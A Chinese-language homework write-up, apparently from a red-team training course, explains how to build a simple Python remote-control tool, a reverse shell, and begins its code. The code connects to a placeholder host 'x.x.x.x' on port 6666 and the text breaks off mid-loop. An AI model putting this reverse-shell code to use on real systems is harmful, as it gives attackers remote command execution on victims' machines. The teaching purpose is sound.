文章来源|MS08067 红队培训班 第4期
本文作者:学员A(红队培训班4期学员)
按老师要求尝试完成布置的作业如下:
要想实现简易远控,说的详细点就是反弹shell,首先要解决三个问题:
1.与服务端建立socket连接
2.在服务端命令执行
3.服务端把回显返回给客户端
这里我们用python实现,声明一下,涉及到的内容是网络编程,以下函数实现多半都是我百度的,所以有很多用法以及逻辑的实现都是欠考虑的QAQ
0x01 代码实现
#以下提到客户端/服务端均为相对概念
import socket
import sys
import subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#建立socket服务器,两个参数分别代表ipv4,tcp连接,套用模板不解释
try: #异常处理,屏蔽两种报错1.服务端主动连接目标积极拒绝 2.系统命令执行错误
s.connect(('x.x.x.x', 6666)) #主动连接目标ip+端口,注意里面是个元组
while True: &nbs